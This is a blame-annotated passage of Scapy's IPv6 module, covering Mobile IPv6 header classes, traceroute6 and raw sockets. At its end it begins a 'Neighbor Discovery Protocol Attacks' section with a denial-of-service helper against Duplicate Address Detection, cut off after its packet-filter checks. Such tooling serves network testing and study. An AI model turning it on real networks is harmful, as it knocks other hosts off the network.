30182a7ad0d13aaaa2a5358f82c67877856863a30d61gpotter                    StrFixedLenField("token", b"\x00"*8, 8),
3019c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    _PhantomAutoPadField("autopad", 1), # autopad activated by default
3020c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    _MobilityOptionsField("options", [], MIP6OptUnknown, 24,
3021c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                          length_from = lambda pkt: 8*(pkt.len-2)) ]
3022c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    overload_fields = { IPv6: { "nh": 135 } }
3023c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def hashret(self):
30242bc05da394cc74cc295ac5bba8642f7552bdeb89gpotter        return raw(self.cookie)
30252725e5a6ba524e991829570db2c6711384124ab6Pierre LALET    def answers(self, other):
3026c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if (isinstance(other, MIP6MH_HoTI) and
3027c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            self.cookie == other.cookie):
3028c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return 1
3029c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return 0
3030c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3031c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass MIP6MH_CoT(MIP6MH_HoT):
3032c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "IPv6 Mobility Header - Care-of Test"
3033c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    mhtype = 4
3034c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def hashret(self):
30352bc05da394cc74cc295ac5bba8642f7552bdeb89gpotter        return raw(self.cookie)
3036c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
30370aeb049606bee9335e62afea58479915bd6e2344Pierre LALET    def answers(self, other):
3038c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if (isinstance(other, MIP6MH_CoTI) and
3039c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            self.cookie == other.cookie):
3040c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return 1
3041c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return 0
3042c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3043c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass LifetimeField(ShortField):
3044c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def i2repr(self, pkt, x):
3045c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return "%d sec" % (4*x)
3046c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3047c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass MIP6MH_BU(_MobilityHeader):
3048c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "IPv6 Mobility Header - Binding Update"
3049c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("nh", 59, ipv6nh),
3050c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("len", None), # unit == 8 bytes (excluding the first 8 bytes)
3051c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteEnumField("mhtype", 5, mhtypes),
3052c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("res", None),
3053c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("cksum", None),
3054c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("seq", None), # TODO: ShortNonceField
3055571ee9a1f1431f1ec7e654b5ee991e2118b994efPhil                    FlagsField("flags", "KHA", 7, "PRMKLHA"),
3056571ee9a1f1431f1ec7e654b5ee991e2118b994efPhil                    XBitField("reserved", 0, 9),
3057c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    LifetimeField("mhtime", 3), # unit == 4 seconds
3058c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    _PhantomAutoPadField("autopad", 1), # autopad activated by default
3059c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    _MobilityOptionsField("options", [], MIP6OptUnknown, 12,
3060c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                          length_from = lambda pkt: 8*pkt.len - 4) ]
3061c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    overload_fields = { IPv6: { "nh": 135 } }
3062c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3063c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def hashret(self): # Hack: see comment in MIP6MH_BRR.hashret()
30642a7ad0d13aaaa2a5358f82c67877856863a30d61gpotter        return b"\x00\x08\x09"
3065c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
30660d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    def answers(self, other):
3067c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if isinstance(other, MIP6MH_BRR):
3068c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return 1
3069c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return 0
3070c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3071c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass MIP6MH_BA(_MobilityHeader):
3072c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "IPv6 Mobility Header - Binding ACK"
3073c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("nh", 59, ipv6nh),
3074c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("len", None), # unit == 8 bytes (excluding the first 8 bytes)
3075c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteEnumField("mhtype", 6, mhtypes),
3076c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("res", None),
3077c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("cksum", None),
3078c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteEnumField("status", 0, bastatus),
3079571ee9a1f1431f1ec7e654b5ee991e2118b994efPhil                    FlagsField("flags", "K", 3, "PRK"),
3080571ee9a1f1431f1ec7e654b5ee991e2118b994efPhil                    XBitField("res2", None, 5),
3081c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("seq", None), # TODO: ShortNonceField
3082c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("mhtime", 0), # unit == 4 seconds
3083c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    _PhantomAutoPadField("autopad", 1), # autopad activated by default
3084c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    _MobilityOptionsField("options", [], MIP6OptUnknown, 12,
3085c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                          length_from = lambda pkt: 8*pkt.len-4) ]
3086c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    overload_fields = { IPv6: { "nh": 135 }}
3087c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3088c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def hashret(self): # Hack: see comment in MIP6MH_BRR.hashret()
30892a7ad0d13aaaa2a5358f82c67877856863a30d61gpotter        return b"\x00\x08\x09"
3090c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3091c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def answers(self, other):
3092c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if (isinstance(other, MIP6MH_BU) and
3093c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            other.mhtype == 5 and
3094c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            self.mhtype == 6 and
3095c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            other.flags & 0x1 and # Ack request flags is set
3096c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            self.seq == other.seq):
3097c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return 1
3098c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return 0
3099c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3100c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil_bestatus = { 1: 'Unknown binding for Home Address destination option',
3101c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil              2: 'Unrecognized MH Type value' }
3102c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3103c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# TODO: match Binding Error to its stimulus
3104c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass MIP6MH_BE(_MobilityHeader):
3105c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "IPv6 Mobility Header - Binding Error"
3106c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("nh", 59, ipv6nh),
3107c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("len", None), # unit == 8 bytes (excluding the first 8 bytes)
3108c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteEnumField("mhtype", 7, mhtypes),
3109c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("res", 0),
3110c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("cksum", None),
3111c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteEnumField("status", 0, _bestatus),
3112c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("reserved", 0),
3113c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    IP6Field("ha", "::"),
3114c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    _MobilityOptionsField("options", [], MIP6OptUnknown, 24,
3115c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                          length_from = lambda pkt: 8*(pkt.len-2)) ]
3116c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    overload_fields = { IPv6: { "nh": 135 }}
3117c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3118c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil_mip6_mhtype2cls = { 0: MIP6MH_BRR,
3119c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                     1: MIP6MH_HoTI,
3120c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                     2: MIP6MH_CoTI,
3121c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                     3: MIP6MH_HoT,
3122c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                     4: MIP6MH_CoT,
3123c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                     5: MIP6MH_BU,
3124c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                     6: MIP6MH_BA,
3125c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                     7: MIP6MH_BE }
3126c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3127c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
31281bb54991903a2e3a1d8c6f590aa4bb34d708c7d9Guillaume Valadon
3129c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
3130c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
3131c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil###                             Traceroute6                               ###
3132c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
3133c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
3134c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3135c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass  AS_resolver6(AS_resolver_riswhois):
3136c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def _resolve_one(self, ip):
3137c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        """
3138c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        overloaded version to provide a Whois resolution on the
31390d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz        embedded IPv4 address if the address is 6to4 or Teredo.
3140c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        Otherwise, the native IPv6 address is passed.
3141c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        """
3142c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3143c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if in6_isaddr6to4(ip): # for 6to4, use embedded @
3144c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            tmp = inet_pton(socket.AF_INET6, ip)
3145c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            addr = inet_ntop(socket.AF_INET, tmp[2:6])
3146c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        elif in6_isaddrTeredo(ip): # for Teredo, use mapped address
3147c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            addr = teredoAddrExtractInfo(ip)[2]
3148c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        else:
3149c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            addr = ip
31500d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
3151c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        _, asn, desc = AS_resolver_riswhois._resolve_one(self, addr)
3152c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
31532bc05da394cc74cc295ac5bba8642f7552bdeb89gpotter        if asn.startswith("AS"):
3154caff8ac253662db28f19cdd7564980fbcf1e4900Guillaume Valadon            try:
3155caff8ac253662db28f19cdd7564980fbcf1e4900Guillaume Valadon                asn = int(asn[2:])
3156caff8ac253662db28f19cdd7564980fbcf1e4900Guillaume Valadon            except ValueError:
3157caff8ac253662db28f19cdd7564980fbcf1e4900Guillaume Valadon                pass
3158caff8ac253662db28f19cdd7564980fbcf1e4900Guillaume Valadon
3159caff8ac253662db28f19cdd7564980fbcf1e4900Guillaume Valadon        return ip,asn,desc
3160c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3161c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass TracerouteResult6(TracerouteResult):
3162aefe6fcbe454cd014487523c5470d933fa70e95cPierre LALET    __slots__ = []
3163c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def show(self):
3164d51edef8530fe1e944f13eb65ef863c2d7f04b1dgpotter        return self.make_table(lambda s_r: (s_r[0].sprintf("%-42s,IPv6.dst%:{TCP:tcp%TCP.dport%}{UDP:udp%UDP.dport%}{ICMPv6EchoRequest:IER}"), # TODO: ICMPv6 !
316522a55b62eb35e8611fe03b99e4ff4f257a97b5d1gpotter                                            s_r[0].hlim,
316622a55b62eb35e8611fe03b99e4ff4f257a97b5d1gpotter                                            s_r[1].sprintf("%-42s,IPv6.src% {TCP:%TCP.flags%}"+
316722a55b62eb35e8611fe03b99e4ff4f257a97b5d1gpotter                                                           "{ICMPv6DestUnreach:%ir,type%}{ICMPv6PacketTooBig:%ir,type%}"+
316822a55b62eb35e8611fe03b99e4ff4f257a97b5d1gpotter                                                           "{ICMPv6TimeExceeded:%ir,type%}{ICMPv6ParamProblem:%ir,type%}"+
316922a55b62eb35e8611fe03b99e4ff4f257a97b5d1gpotter                                                           "{ICMPv6EchoReply:%ir,type%}")))
3170c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3171c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def get_trace(self):
3172c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        trace = {}
3173c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3174c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        for s,r in self.res:
3175c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            if IPv6 not in s:
3176c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                continue
3177a3618a09887e39536009036d2e88341c61d4d385gpotter            d = s[IPv6].dst
3178c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            if d not in trace:
3179c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                trace[d] = {}
31800d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
31810d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz            t = not (ICMPv6TimeExceeded in r or
3182c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                     ICMPv6DestUnreach in r or
3183c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                     ICMPv6PacketTooBig in r or
3184c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                     ICMPv6ParamProblem in r)
3185c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3186a3618a09887e39536009036d2e88341c61d4d385gpotter            trace[d][s[IPv6].hlim] = r[IPv6].src, t
3187c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
318822a55b62eb35e8611fe03b99e4ff4f257a97b5d1gpotter        for k in six.itervalues(trace):
3189241e2c497945a93117ce42ebc2a555e3871ca716Pierre LALET            try:
319022a55b62eb35e8611fe03b99e4ff4f257a97b5d1gpotter                m = min(x for x, y in six.itervalues(k) if y)
3191241e2c497945a93117ce42ebc2a555e3871ca716Pierre LALET            except ValueError:
3192c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                continue
3193a65ddc700c23475df28978a17f3b44e93f56ec80Pierre LALET            for l in list(k):  # use list(): k is modified in the loop
3194c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                if l > m:
3195241e2c497945a93117ce42ebc2a555e3871ca716Pierre LALET                    del k[l]
3196c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3197c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return trace
3198c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3199c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def graph(self, ASres=AS_resolver6(), **kargs):
3200c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        TracerouteResult.graph(self, ASres=ASres, **kargs)
3201caff8ac253662db28f19cdd7564980fbcf1e4900Guillaume Valadon
3202caff8ac253662db28f19cdd7564980fbcf1e4900Guillaume Valadon@conf.commands.register
3203caff8ac253662db28f19cdd7564980fbcf1e4900Guillaume Valadondef traceroute6(target, dport=80, minttl=1, maxttl=30, sport=RandShort(),
3204c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                l4 = None, timeout=2, verbose=None, **kargs):
3205caff8ac253662db28f19cdd7564980fbcf1e4900Guillaume Valadon    """Instant TCP traceroute using IPv6
3206c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    traceroute6(target, [maxttl=30], [dport=80], [sport=80]) -> None
3207c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    """
3208c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    if verbose is None:
3209c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        verbose = conf.verb
3210c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3211c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    if l4 is None:
3212c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        a,b = sr(IPv6(dst=target, hlim=(minttl,maxttl))/TCP(seq=RandInt(),sport=sport, dport=dport),
3213c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                 timeout=timeout, filter="icmp6 or tcp", verbose=verbose, **kargs)
3214c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    else:
3215c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        a,b = sr(IPv6(dst=target, hlim=(minttl,maxttl))/l4,
3216c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                 timeout=timeout, verbose=verbose, **kargs)
3217c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3218c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    a = TracerouteResult6(a.res)
3219c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3220c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    if verbose:
3221c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        a.display()
3222c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3223c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    return a,b
3224c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3225c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
3226c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
3227c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil###                                Sockets                                ###
3228c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
3229c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
3230c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3231c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass L3RawSocket6(L3RawSocket):
3232c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def __init__(self, type = ETH_P_IPV6, filter=None, iface=None, promisc=None, nofilter=0):
3233c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        L3RawSocket.__init__(self, type, filter, iface, promisc)
323477132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        # NOTE: if fragmentation is needed, it will be done by the kernel (RFC 2292)
3235c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        self.outs = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_RAW)
3236c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        self.ins = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(type))
3237c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3238c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhildef IPv6inIP(dst='203.178.135.36', src=None):
3239c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil  _IPv6inIP.dst = dst
3240c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil  _IPv6inIP.src = src
3241c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil  if not conf.L3socket == _IPv6inIP:
3242c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    _IPv6inIP.cls = conf.L3socket
3243c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil  else:
3244c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    del(conf.L3socket)
3245c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil  return _IPv6inIP
3246c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3247c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass _IPv6inIP(SuperSocket):
3248c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil  dst = '127.0.0.1'
3249c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil  src = None
3250c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil  cls = None
3251c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3252c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil  def __init__(self, family=socket.AF_INET6, type=socket.SOCK_STREAM, proto=0, **args):
3253c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    SuperSocket.__init__(self, family, type, proto)
3254c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    self.worker = self.cls(**args)
3255c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3256c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil  def set(self, dst, src=None):
3257c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    _IPv6inIP.src = src
3258c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    _IPv6inIP.dst = dst
3259c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3260c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil  def nonblock_recv(self):
3261c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    p = self.worker.nonblock_recv()
3262c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    return self._recv(p)
3263c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3264c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil  def recv(self, x):
3265c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    p = self.worker.recv(x)
3266c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    return self._recv(p, x)
3267c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3268c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil  def _recv(self, p, x=MTU):
3269c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    if p is None:
3270c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil      return p
3271c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    elif isinstance(p, IP):
3272c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil      # TODO: verify checksum
3273a3618a09887e39536009036d2e88341c61d4d385gpotter      if p.src == self.dst and p.proto == socket.IPPROTO_IPV6:
3274c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if isinstance(p.payload, IPv6):
3275c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil          return p.payload
3276c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    return p
3277c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3278c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil  def send(self, x):
3279a3618a09887e39536009036d2e88341c61d4d385gpotter    return self.worker.send(IP(dst=self.dst, src=self.src, proto=socket.IPPROTO_IPV6)/x)
3280c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3281c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3282c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
3283c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
3284af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard###                  Neighbor Discovery Protocol Attacks                  ###
3285af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard#############################################################################
3286af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard#############################################################################
3287af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3288af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalarddef _NDP_Attack_DAD_DoS(reply_callback, iface=None, mac_src_filter=None,
3289af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard                        tgt_filter=None, reply_mac=None):
3290af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    """
3291af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    Internal generic helper accepting a specific callback as first argument,
3292af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    for NS or NA reply. See the two specific functions below.
3293af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    """
3294af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3295af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    def is_request(req, mac_src_filter, tgt_filter):
3296af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        """
3297af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        Check if packet req is a request
3298af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        """
3299af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3300af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        # Those simple checks are based on Section 5.4.2 of RFC 4862
3301af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        if not (Ether in req and IPv6 in req and ICMPv6ND_NS in req):
3302af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            return 0
3303af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3304af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        # Get and compare the MAC address
3305af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        mac_src = req[Ether].src
3306af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        if mac_src_filter and mac_src != mac_src_filter:
3307af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            return 0
3308af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3309af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        # Source must be the unspecified address
3310a3618a09887e39536009036d2e88341c61d4d385gpotter        if req[IPv6].src != "::":
3311af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            return 0
3312af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3313af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        # Check destination is the link-local solicited-node multicast
3314af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        # address associated with target address in received NS
3315a3618a09887e39536009036d2e88341c61d4d385gpotter        tgt = inet_pton(socket.AF_INET6, req[ICMPv6ND_NS].tgt)
3316af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        if tgt_filter and tgt != tgt_filter:
3317af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            return 0
